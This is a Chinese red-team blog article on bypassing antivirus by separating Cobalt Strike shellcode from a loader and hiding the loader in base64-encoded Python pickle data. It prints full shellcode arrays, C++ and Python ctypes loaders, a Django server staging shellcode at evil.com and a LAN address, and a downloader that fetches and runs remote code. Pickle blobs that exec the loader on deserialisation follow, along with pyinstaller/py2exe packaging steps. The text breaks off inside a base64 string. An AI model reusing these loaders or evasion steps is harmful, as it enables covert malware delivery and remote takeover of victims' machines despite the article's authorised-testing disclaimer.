利用加载器以及Python反序列化绕过AV

  • A+
所属分类:安全文章

这是 酒仙桥六号部队 的第 121 篇文章。

全文共计21747个字,预计阅读时长55分钟

(不要被字数和时长吓到,代码字符占了大半江山~)

前言

在日常红队行动中,为了利用目前现有的资源尝试获取更多的凭据以及更高的权限,我们通常需要先获得一台主机作为突破口,并将其作为跳板进行横向渗透。但是内网中一般部署有防火墙、流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。目前免杀技术大致分为以下几类:

  1. 特征码修改

  2. 花指令免杀

  3. 加壳免杀

  4. 内存免杀

  5. 二次编译

  6. 分离免杀

  7. 资源修改

  8. ...

本文仅以分离免杀为例,利用Python语言制作加载器对Cobaltstrike生成的Shellcode进行绕过杀软作为样例,举例说明通过加密Shellcode、分离免杀以及Python反序列化达到bypass的思路和方法。仅针对现有公开技术进行研究学习,方便安全人员对授权项目完成测试工作和学习交流使用,请使用者遵守当地相关法律,勿用于非授权测试。


Shellcode

在我们进行漏洞利用的过程中,必不可少的部分就是shellcode(一段用于利用软件漏洞而执行的代码)。攻击者可以通过这段代码打开系统的shell,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。本文重点是对加载器相应思路进行介绍,因此不对Shellcode的编写与提取等相关技术进行展开,为方便使用,我们以Cobalt Strike生成的Shellcode为例,后文不在赘述。

利用加载器以及Python反序列化绕过AV

利用加载器以及Python反序列化绕过AV


加载Shellcode原理

加载Shellcode的方式有很多,例如函数指针执行、内联汇编指令、伪指令等。大部分脚本语言加载Shellcode都是通过cffi去调用操作系统的api,如果我们了解了C是怎么加载Shellcode的原理,使用时只需要查询一下对应语言的调用方式即可。首先我们要明白,Shellcode是一串可执行的二进制代码,那么我们想利用它就可以先通过其他的方法来开辟一段具有读写和执行权限的区域;然后将我们的Shellcode放进去,之后跳转到Shellcode的首地址去执行就可以了,利用这个思路我们可以先写一个C++的版本,还是像上文一样生成Shellcode。这里我们利用CobaltStrike生成32位的Shellcode,正常使用像 VirtualAlloc 内存操作的函数执行Shellcode

#include "windows.h"
using namespace std;int main(int argc, char **argv){unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx69x72x50x31x00x60x4bx66xa0x31xf7xfbx2axa2x41x23xa1xc6xd4x41xfdx5ax22x54x33xd4xd1x9dx04x69x9cx1bx51xc4xa3xc7x90x55x33xd1x05x53xc6xebx0ex47xb6xe4x96xeex44xc1xf0x86xe1xa1x30x57x43x12x89xb8x60xd6x82xc7xb8x39x19x47x56x18xcbx7ex93x4dxdfxebx00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x54x4dx29x0dx0ax00x14x6bx99x57x24x2fx08x8ex24x16xf9xa2x83x17xc3x76x14x58x0dx44x87x98x34x59xf8x31xc7x9exb4xf0x22xd7x93xc7x3ax38xd0x91xd0x24xeexefxebxfbx2bx94x31xb4x32xd7x90xfcxd9x18xc6xe1x3ex88x18x19x73x98x95xacxc1x99x8dx0dx38x6ax26x1ex00xcfx03xc8x5axf9xdcx1ax71x4dxcfxb8xf2xc3xe6x4ex59x2dx6bxd5xc0xcax0cx5cxc9x23x65x5ax29x71x21x8dx65x0ex8ax14x53x25xfdx19xfax9dx3dx53x9fxb1x49x90x3fx2bx40xbex55xf8x78xc6xbexecx41xaex4fx68xc2x41x23x73x57xa9x7axbcx0fx6ax0dx27x68x78xa5xf0x10xf5xd6x19xeax3cxc8x67xe2xbcx94xf3x72x56x51xc5x29x00xfexdex83x7cx2ex75xaex57x93x4axe0xb2x14x90x09xd7xd6x65x3fx72x11x9bxe5x4dx29x9bx9dxcfxaax23xaaxbcxbbx48xd7x4fxbdx35x8cx25x81xd3xa3xd0x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex31x37x37x2ex31x32x39x00x1ex4bxb5xee"; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0;}

我们编译并运行可以正常上线,并且可以正常执行命令。

利用加载器以及Python反序列化绕过AV


Shellcode分离

我们可以利用火绒扫描一下我们上面编译好的可执行程序。

利用加载器以及Python反序列化绕过AV

我们发现这种将Shellcode与程序绑定的方式很容易被杀软查杀,我们可以测试一下先将Shellcode去除,仅留下程序代码,再进行扫描。

#include "windows.h"
using namespace std;int main(int argc, char** argv){ unsigned char buf[] = ""; void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0;}

利用加载器以及Python反序列化绕过AV

此时由于我们已经将带有特征值的Shellcode去除,所以在杀软视角看来,这已经是一段正常的程序,因此就不会触发相应的告警,因此,如果我们可以将Shellcode和加载程序分离,将Shellcode单独存放在某个地方,再由程序进行请求获得,我们也就在一定程序上绕过了杀软的检测。


Python加载Shellcode

再了解了上述加载Shellcode的原理之后,我们就可以利用Python3中的ctypes库实现这一过程,ctypesPython的外部函数库。它提供了与C语言兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯 Python形式对这些库进行封装,我们首先利用CobaltStrike生成64位的Shellcode进行测试,之后利用Python加载Shellcode代码如下:

import ctypes shellcode =  b""shellcode += b"xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x50x00x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx7ax53x4fx41x00x41x1fx44xc8xfbxc6x20xcbxecx27x47x19xcexd5x69xf7x07x34x4dx99x17xecxa3x6exe9x83xdbxd6xf9x18x1dxeexd6x10x57x41xdfxabx99x45xc1xdbx7ax2fx27xcfx23x7ax95x39xc4xddx43x40xd1x4cxd3x93xaax1cx8fx0ax61x3dxfbx9cx70xa3x27x1axb8x90x1fx00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x4dx41x41x52x4ax53x29x0dx0ax00xb0xd9x84x84xfex89x67x9ex9fxc6x68x82x75xfcxdfx8fx1fx4cxe4x3cx94x33xcbx30xaaxe2x21x77xdcx3cxc9xc4x94xcfxe1x1dxe7xe0x21x7exf2x02xedxd8x7bxf8xb5x9exe2x60xa1xa0xc9xeax2dx86xc8x9cxeexbaxd3x33xa7x58xabxc2xa8x92x4fx9bxf6xbex3cxfdx97x78xcdx3cx07x3fx0cxf2x85x6axb6xd3xdbx68x7cx74xa2xa8x23xedx5ax2fx1bxd5xbbx6bxcax1axb7x51xc1xc8x14xfcx1dxf6xd5xebx6cxb0x4cx76x4fx3bxf3xdcxabx56x95x4cx90x23x9bxddxd0xeex24xa2xf2x34x52xddx52x91x9dx33xbcx9ax1bxaax5bx75x84x65x96x38x8bx4fx96x15x7ax4cx63xd3x34x6fx21x47x74x0cxa5xe2x63x49xc3xbex61xabxe7x7cxcfxcbxedxf6x0bx02x06x0fx7bxe3x44x35x67xdcx8exc3xc3x58xb3x70xe7x89xa5xb4x4axb4x46xaexbaxd6x6bx8dx0axddx9fx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x39x32x2ex31x36x38x2ex31x37x37x2ex31x32x39x00x29x2ex55xed";
shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

之后我们直接运行这个Python脚本即可加载我们利用CobaltStrike生成的Shellcode,实现上线功能并可以正常执行命令。

利用加载器以及Python反序列化绕过AV


利用加载器实现Shellcode分离

上文我们说过了,我们想绕过杀软的检测,我们可以利用分离Shellcode和加载程序的方法,这种方法就是加载器的方法。整体流程是将我们的Shellcode与程序进行分离,而上传到目标的可执行程序仅作为一个类似于下载器的程序使用,例如我们可以搭建一个Http Server,之后构造我们的Shellcode页面,再由本地加载器访问页面地址,获取页面的Shellcode内容,之后加载并执行,流程类似于下图。

利用加载器以及Python反序列化绕过AV

HttpServer

首先我们需要构造我们的HttpServer,我们这里利用Django实现这一过程。我们整体大致流程就是我们通过一个前端页面将我们CobaltStrike生成的Shellcode保存到数据库中,Django后端利用UUID生成一个基于时间戳的随机字符串,并且保存到hash_md5字段中,之后我们再构造一个Shellcode读取的页面,该页面根据URL中的hash_md5去查询数据库中对应的Shellcode并且展示到该页面上,例如我们再数据库中有如下数据。

利用加载器以及Python反序列化绕过AV

我们访问如下链接即可查看我们保存的Shellcode

http://evil.com/shellcode/9adef1ca-151b-11eb-b767-5c80b6fea32f

利用加载器以及Python反序列化绕过AV

Models

首先我们定义如下数据模型。

class Shellcode(models.Model):    id = models.AutoField(primary_key=True)    hash_md5 = models.CharField(max_length = 200)    shellcode = models.TextField()    pub_date = models.DateTimeField(default=timezone.now)    class Meta:        ordering = ('-pub_date',)    def __str__(self):        return self.shellcode

字段含义如下:

字段名称 备注
id 自增主键ID
hash_md5 利用UUID生成的随机字符串,方便后续进行URL生成
shellcode shellcode内容
pub_date 生成时间

Views

def showshellcode(request, hash_md5):    shellcode = Shellcode.objects.get(hash_md5 = hash_md5)    try:        if shellcode != None:            return render(request, 'shellcode.html', locals())    except:        return redirect('/')

Urls

from django.contrib import adminfrom django.urls import pathfrom auto_antiav_app.views import homepage,showshellcode
urlpatterns = [ path('admin/', admin.site.urls), path('', homepage), path('shellcode/<str:hash_md5>', showshellcode),]

这样我们就可以通过控制URL中的shellcode/后面的部分,也就是shellcode来调用不同的Shellcode了,而且由于我们Shellcode是由自己放置在我们的HttpServer上,我们也可以进行进一步处理。比如对Shellcode进行混淆编码加密,再有本地可执行程序进行解密执行,这里我们以Base64编码处理为例,处理过后Shellcode页面如下。

利用加载器以及Python反序列化绕过AV

当然我们也可以将我们的Shellcode隐藏在图片等载体中。

下载Shellcode并加载执行

当我们构建好HttpServer后,我们就可以通过Python中的urllib.request访问我们的HttpServerShellcode进行获取,由于我们上文对Shellcode进行了base64编码处理,所以我们本地获取到后Shellcode后在进行解码即可。

import ctypes,urllib.request,base64,codecs,pickle

shellcode = urllib.request.urlopen('http://192.168.177.1:8000/shellcode/96f431cc-1b8c-11eb-8a21-5c80b6fea32f').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

这样我们的可执行程序便与Shellcode进行了分离,直接运行Python文件可以上线并正常调用命令。

利用加载器以及Python反序列化绕过AV


反序列化

但是这个时候如果我们通过pyinstaller将我们的程序打包成可执行程序,我们会发现火绒仍然对其进行了查杀。

利用加载器以及Python反序列化绕过AV

这是因为我们使用的加载器本身关键语句已经被检测,因此我们需要对其进行进一步处理从而绕过静态查杀,我们绕过的方式可以通过上文说过的混淆、编码、加密等方式对代码进行处理,然后进行调用执行。但是像执行命令的execeval等函数特征比较明显,所以我们对它也需要进一步处理,而同其它语言一样,Python也有序列化的功能,官方库里提供了pickle/cPickle的库用于序列化和反序列化,pickle可以序列化python的任何数据结构,包括一个类,一个对象。

import pickle
class A(object): a = 1 b = 2 def run(self): print(self.a,self.b)
print(pickle.dumps(A()))

利用加载器以及Python反序列化绕过AV

如果之前了解过Python Pickle反序列化带来的安全问题相关内容,我们就可以知道如果这里的run()函数时自动执行的我们就可以通过反序列化过程来进行一个调用过程,与PHP中的__wakeup类似,Python中也有类似的方法可以使其在被反序列化的时候执行,这里以__reduce__为例。

import pickle
class A(object): a = 1 b = 2 def __reduce__(self): return (print, (self.a+self.b,))
print(pickle.dumps(A()))

利用加载器以及Python反序列化绕过AV

接下来我们就可以通过pickleloads来反序列化并自动执行。

import pickle
ret = b'x80x03cbuiltinsnprintnqx00Kx03x85qx01Rqx02.'pickle.loads(ret)

利用加载器以及Python反序列化绕过AV

我们可以看到我们已经将我们的a+b自动输出了(这里也可以提示我们,pickleloads参数如果可以被控制,我们就可以进行利用)。但是我们可以看到,从代码中我们还是可以看到调用的关键函数名称,我们这里可以对其进行混淆、编码操作,依旧以Base64编码为例,我们序列化代码如下:

import pickleimport base64
class A(object): a = 1 b = 2 def __reduce__(self): return (print, (self.a+self.b,))
ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)

利用加载器以及Python反序列化绕过AV

接下来我们只需要进行反序列化调用之前先进行解码操作即可。

import pickleimport base64
ret = b'gANjYnVpbHRpbnMKcHJpbnQKcQBLA4VxAVJxAi4='ret_decode = base64.b64decode(ret)pickle.loads(ret_decode)

利用加载器以及Python反序列化绕过AV

例如我们刚才的获取Shellcode的代码就可以通过序列化以及Base64编码进行处理。

import pickleimport base64import urllib.request,codecs
class A(object): shellcode = urllib.request.urlopen('http://192.168.177.1:8000/shellcode/96f431cc-1b8c-11eb-8a21-5c80b6fea32f').read() shellcode = base64.b64decode(shellcode) shellcode =codecs.escape_decode(shellcode)[0] def __reduce__(self): return (bytearray, (self.shellcode,))
ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)

利用加载器以及Python反序列化绕过AV

之后我们按照上文中的代码进行解码以及反序列化操作即可。

import ctypes,urllib.request,base64,codecs,pickle

ret = b'gANjYnVpbHRpbnMKYnl0ZWFycmF5CnEAQn4DAAD8SIPk8OjIAAAAQVFBUFJRVkgx0mVIi1JgSItSGEiLUiBIi3JQSA+3SkpNMclIMcCsPGF8AiwgQcHJDUEBweLtUkFRSItSIItCPEgB0GaBeBgLAnVyi4CIAAAASIXAdGdIAdBQi0gYRItAIEkB0ONWSP/JQYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18UwDTCQIRTnRddhYRItAJEkB0GZBiwxIRItAHEkB0EGLBIhIAdBBWEFYXllaQVhBWUFaSIPsIEFS/+BYQVlaSIsS6U////9dagBJvndpbmluZXQAQVZJieZMifFBukx3Jgf/1UgxyUgx0k0xwE0xyUFQQVBBujpWeaf/1etzWkiJwUG4UAAAAE0xyUFRQVFqA0FRQbpXiZ/G/9XrWVtIicFIMdJJidhNMclSaAACQIRSUkG661UuO//VSInGSIPDUGoKX0iJ8UiJ2knHwP////9NMclSUkG6LQYYe//VhcAPhZ0BAABI/88PhIwBAADr0+nkAQAA6KL///8vaDR0TQBOtow2xHK7wSzablrH8sILCWEF3JaqlzYKne4Uc6OdpgFcCQc1Y5VZEBDldNfmfIrjnKQrAOPGbhpM5EhjD13C86eoYQ2AhRJ4AFVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMDsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjA0NTA2LjMwKQ0KAIuGH7HH3HjXZ5BSv8NiFhxfReksLk9o6MrExU9a1JtFE1Je6QmO7ZlnIpw8q27ZfuGJlKCD07Fc9lm0YU6AEYiEQYzTBRNRlkp4F9ENgFDiju78OmPbpR0/9yLWzntzmVjZfDzHRuKHalDZGtYoB9cWWrY30DoesJXMN4x30512L0kTwC22513bsfKRj4fir8h0YGoQukoCrC1Nqy/tvfhYapT+7CWMgdbmnx9zBIBpW7f1bJf13BIgbnbTtW7H4OepigBBvvC1olb/1UgxyboAAEAAQbgAEAAAQblAAAAAQbpYpFPl/9VIk1NTSInnSInxSInaQbgAIAAASYn5QboSloni/9VIg8QghcB0tmaLB0gBw4XAdddYWFhIBQAAAABQw+if/f//MTkyLjE2OC4xNzcuMTI5AASaz8txAYVxAlJxAy4='shellcode = pickle.loads(base64.b64decode(ret))print(repr(shellcode))

如上所示,我们已经在代码中无法看到相应的urllib.request的特征,但是这里有一个问题就是后面我们有一些申请内存的操作,但是会遇到一些序列化闭包的问题,这里我们可以使用eval()函数来继续实现。

eval() 函数用来执行一个字符串表达式,并返回表达式的值。

例如我们想实现一个启动计算器的程序,我们首先生成还是按上文序列化并进行编码。

import pickleimport base64import os
class A(object): def __reduce__(self): return(eval,("os.system('calc.exe')",))ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)

利用加载器以及Python反序列化绕过AV

接下来进行反序列化和解码操作。

import pickleimport base64import os
ret = b'gANjYnVpbHRpbnMKZXZhbApxAFgVAAAAb3Muc3lzdGVtKCdjYWxjLmV4ZScpcQGFcQJScQMu'ret_decode = base64.b64decode(ret)pickle.loads(ret_decode)

利用加载器以及Python反序列化绕过AV

但是eval()在执行多行的时候会有缩进问题,如果使用这种方式我们需要将加载器的代码每一行都单独执行,代码可以查看参考链接5中的代码,我们这里为了避免这一问题,使用exec()

exec 执行储存在字符串或文件中的Python语句,相比于 evalexec可以执行更复杂的 Python 代码。

这样,我们就可以通过我们的例如异或、编码等混淆方式,绕过杀软的检测,了解了以上内容,我们就可以进行我们的免杀测试了,我们将我们上文中加载器代码利用exec()进行序列化并且进行编码。

import pickleimport base64
shellcode = """import ctypes,urllib.request,codecs,base64 shellcode = urllib.request.urlopen('http://192.168.177.1:8000/shellcode/96f431cc-1b8c-11eb-8a21-5c80b6fea32f').read()shellcode = base64.b64decode(shellcode)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""
class A(object): def __reduce__(self): return(exec,(shellcode,))
ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)print(ret_base64)ret_decode = base64.b64decode(ret_base64)

利用加载器以及Python反序列化绕过AV

之后我们就可以进行解码以及反序列化操作。

import base64,pickleshellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFhfBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAogCnNoZWxsY29kZSA9IHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xOTIuMTY4LjE3Ny4xOjgwMDAvc2hlbGxjb2RlLzk2ZjQzMWNjLTFiOGMtMTFlYi04YTIxLTVjODBiNmZlYTMyZicpLnJlYWQoKQpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKc2hlbGxjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShzaGVsbGNvZGUpWzBdCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMg6K6+572uVmlydHVhbEFsbG9j6L+U5Zue57G75Z6L5Li6Y3R5cGVzLmNfdWludDY0CmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKIyDnlLPor7flhoXlrZgKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQogCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads(base64.b64decode(shellcode))

从代码层面来讲,杀软视角的代码仅能看到是一段正常的Base64解码以及反序列化的脚本文件,也就达到了我们Bypass的目的,运行脚本我们可正常上线以及执行命令。

利用加载器以及Python反序列化绕过AV


打包成可执行程序

上文我们构建了我们的Python文件,但是利用起来需要目标环境支持Python以及相应的库文件支持,因此我们可以将我们的Python脚本打包成可执行程序来解决这些环境问题,打包方法有很多,例如pyinstaller或者py2exe,具体安装方法这里不在赘述, 这里我们使用不同的打包程序,最后免杀的效果也不太一样,部分杀软对打包程序本身就加入了特征检测。

Pyinstaller

例如我们使用pyinsataller进行打包上述evil.py,目标靶机无Python及相应的库环境,正常上线并可执行命令。

pyinstaller --noconsole --onefile evil.py -i 8.ico

利用加载器以及Python反序列化绕过AV

检测结果如下:

利用加载器以及Python反序列化绕过AV

这里后续我又进行了测试,部分杀软对Pyinstaller打包的程序检测较为敏感,即使是仅打包类似于仅仅print(1)这种代码也会触发相同的检测结果。

Py2exe

例如我们使用py2exe进行打包上述evil.py,目标靶机无Python及相应的库环境,正常上线并可执行命令。

from distutils.core import setupimport py2exesetup(    options={        'py2exe': {            'optimize': 2,            'bundle_files': 1,            'compressed': True,        },    },    windows=[{"script": "evil.py", "icon_resources": [(1, "8.ico")]}],    zipfile=None,)

使用如下命令进行打包。

python setup.py py2exe

利用加载器以及Python反序列化绕过AV

这里需要注意的是,如果使用py2exe进行打包,我们evil.py中要将所有用到的包(包括我们编码中的代码)写在文件开头,即:

import base64,pickle,ctypes,urllib.request,codecsshellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFhfBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAogCnNoZWxsY29kZSA9IHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly8xOTIuMTY4LjE3Ny4xOjgwMDAvc2hlbGxjb2RlLzk2ZjQzMWNjLTFiOGMtMTFlYi04YTIxLTVjODBiNmZlYTMyZicpLnJlYWQoKQpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKc2hlbGxjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShzaGVsbGNvZGUpWzBdCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMg6K6+572uVmlydHVhbEFsbG9j6L+U5Zue57G75Z6L5Li6Y3R5cGVzLmNfdWludDY0CmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKIyDnlLPor7flhoXlrZgKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2M